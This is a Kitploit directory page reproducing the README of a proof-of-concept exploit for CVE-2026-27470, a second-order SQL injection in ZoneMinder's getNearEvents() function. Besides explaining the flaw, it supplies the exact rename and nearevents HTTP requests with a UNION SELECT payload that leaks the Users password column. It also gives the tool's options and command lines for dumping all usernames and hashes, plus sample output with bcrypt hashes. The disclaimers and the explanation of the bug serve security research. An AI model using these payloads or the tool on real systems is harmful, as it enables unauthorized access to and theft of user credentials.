Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/kocaemre/cve-2026-27470
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubkocaemre/cve-2026-27470

CVE-2026-27470

针对 ZoneMinder 中二阶 SQL 注入(CVE-2026-27470)的概念验证漏洞利用。演示经过身份验证的数据提取,包括用户凭据,并提供自定义查询和哈希转储选项。

查看仓库
6107个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚠️ YASAL UYARI / LEGAL DISCLAIMER

Bu araç yalnızca eğitim amaçlı ve yazılı izin alınmış güvenlik testleri için geliştirilmiştir. Sahip olmadığınız veya test etmek için açık yazılı izniniz olmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, birçok ülkede ağır cezai yaptırımlara tabidir (Türkiye TCK m.243-245, ABD CFAA, AB NIS Direktifi vb.). Bu aracın kötüye kullanımından doğacak her türlü yasal sorumluluk kullanıcıya aittir; yazar hiçbir sorumluluk kabul etmez.

Bu araç yalnızca eğitim amaçlı ve yetkili güvenlik araştırmaları için sağlanmıştır. Sahibi olmadığınız veya test etmek için açık yazılı izniniz bulunmayan sistemlere karşı kullanılması yasadışıdır. Yetkisiz erişim, CFAA (ABD), Computer Misuse Act (Birleşik Krallık) ve dünya genelindeki eşdeğer yasaları ihlal edebilir. Yazar, bu aracın herhangi bir şekilde kötüye kullanılmasından doğacak hiçbir sorumluluk kabul etmez.


CVE-2026-27470 — ZoneMinder İkinci Derece SQL Enjeksiyonu

CVE CVSS Affected Fixed

ZoneMinder'daki bir ikinci derece SQL enjeksiyonu güvenlik açığı için kavram kanıtı istismar aracı. Events düzenleme ve görüntüleme izinlerine sahip kimliği doğrulanmış bir kullanıcı, veritabanından tüm kullanıcı kimlik bilgileri dahil olmak üzere rastgele verileri çıkarabilir.


Genel Bakış

AlanAyrıntılar
CVE KimliğiCVE-2026-27470
Önem DüzeyiYÜKSEK — CVSS 8.8
VektörAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Etkilenen SürümlerZoneMinder ≤ 1.36.37 ve 1.37.61 – 1.38.0
Düzeltilen Sürüm1.36.38 / 1.38.1
Dosyaweb/ajax/status.php → getNearEvents()
CWECWE-89: SQL Komutlarının Hatalı Nötrleştirilmesi
Kimlik Doğrulama GerekliEvet — Events düzenleme + görüntüleme izni

Güvenlik Açığı Ayrıntıları

İkinci Derece Deseni

Bu, klasik bir ikinci derece (depolanmış) SQL enjeksiyonudur. Saldırı iki ayrı aşamada gerçekleşir; bu nedenle geleneksel tarayıcılar bunu genellikle gözden kaçırır.

Aşama 1 — Güvenli Yazma

Saldırgan, kötü amaçlı bir yük ile bir etkinliği yeniden adlandırır. ZoneMinder burada parametreli bir sorgu kullandığından, yük herhangi bir hata tetiklemeden veritabanında güvenli bir şekilde saklanır:

POST /index.php HTTP/1.1

request=event&action=rename&id=1&eventName=' UNION SELECT Password,NULL FROM Users LIMIT 0,1-- -
// web/ajax/event.php — güvenli ✅
dbQuery('UPDATE Events SET Name = ? WHERE Id = ?', [$_REQUEST['eventName'], $id]);

Bu noktada her şey temiz görünür. Yük, Events.Name sütununda sessizce beklemektedir.

Aşama 2 — Güvenlik Açığı İçeren Okuma

Saldırgan, aynı etkinlik kaydı için yakın etkinlikleri isteyerek getNearEvents() işlevini tetikler. İşlev, saklanan Name değerini veritabanından geri okur ve herhangi bir kaçış işlemi yapmadan doğrudan yeni bir SQL sorgusuna birleştirir:

GET /index.php?request=status&entity=nearevents&id=1&sort_field=Name&sort_asc=1 HTTP/1.1
// web/ajax/status.php ~satır 460 — GÜVENLİK AÇIĞI ❌
$event = dbFetchOne('SELECT * FROM Events WHERE Id=?', NULL, [$id]);

$sql = 'SELECT E.Id, E.StartDateTime FROM Events E
        INNER JOIN Monitors M ON E.MonitorId = M.Id
        WHERE E.Name >= \'' . $event[$_REQUEST['sort_field']] . '\'  // ← enjeksiyon noktası
        AND (' . $filter->sql() . ') AND E.Id < ' . $event['Id'];

Saklanan yük, dize bağlamından çıkar ve enjekte edilen UNION SELECT çalışarak verileri JSON yanıtındaki NextEventId alanına sızdırır:

{
  "result": "Ok",
  "nearevents": {
    "EventId": "1",
    "NextEventId": "$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6",
    "NextEventStartTime": null
  }
}

Neden Tehlikeli

Geliştirici çok yaygın bir hata yapmıştır: kullanıcı girdisini yazma sırasında doğru şekilde temizlemiş ve bu da yanlış bir güvenlik hissi yaratmıştır. "Kendi veritabanımızdan gelen veriler güvenlidir" varsayımı, güvenlik açığının yıllarca okuma yolunda var olmasına izin vermiştir. WAF'ler ve çoğu otomatik tarayıcı bunu yakalayamaz çünkü yazma isteği tamamen temiz görünür.


Kullanım

Gereksinimler

pip install requests

Seçenekler

-t, --target      Hedef URL (örn. http://10.10.10.10:8080)
-u, --username    ZoneMinder kullanıcı adı
-p, --password    ZoneMinder parolası
--event-id        Enjeksiyon taşıyıcısı olarak kullanılacak etkinlik kimliği
--query           Çalıştırılacak özel SQL sorgusu
--dump-users      Tüm kullanıcı adlarını ve parola karmalarını dök
--field           Enjeksiyon alanı: Name (varsayılan) veya Cause
--no-restore      İstismar sonrası etkinlik adını geri yükleme

Örnekler

# Veritabanı sürümünü kontrol et (en basit test)
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
  --query "SELECT VERSION()"

# Tüm kullanıcıları ve parola karmalarını dök
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
  --dump-users

# Name yerine Cause alanı üzerinden enjekte et
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
  --field Cause --dump-users

# Özel sorgu
python3 poc.py -t http://HEDEF -u admin -p admin --event-id 1 \
  --query "SELECT @@hostname"

Çıktı

╔══════════════════════════════════════════════════════════╗
║   CVE-2026-27470 — ZoneMinder İkinci Derece SQLi PoC    ║
║   CVSS 8.8 | Kimlik Doğrulamalı | Events İzni           ║
╚══════════════════════════════════════════════════════════╝

[*] Hedef     : http://10.10.10.10:8080
[*] Giriş yapılıyor...
[+] Oturum kuruldu.
[+] Etkinlik Kimliği (manuel): 1
[*] Yük enjekte ediliyor (Name alanı)...
[+] Yük parametreli sorgu ile saklandı — veritabanında temiz görünüyor.
[*] İkinci derece enjeksiyon tetikleniyor...
[*] HTTP 200
[*] Etkinlik adı geri yüklendi.

[+] Kullanıcı sayısı: 2

[*] Sorgu çalıştırılıyor: SELECT Username FROM Users LIMIT 0,1
[*] Sorgu çalıştırılıyor: SELECT Password FROM Users LIMIT 0,1
[+] Kullanıcı 1: admin:$2b$12$NHZsm6AM2f2LQVROriz79ul3D6DnmFiZC.ZK5eqbF.ZWfwH9bqUJ6

[*] Sorgu çalıştırılıyor: SELECT Username FROM Users LIMIT 1,1
[*] Sorgu çalıştırılıyor: SELECT Password FROM Users LIMIT 1,1
[+] Kullanıcı 2: operator:$2b$12$xK8s...

Saldırı Akışı

下载工具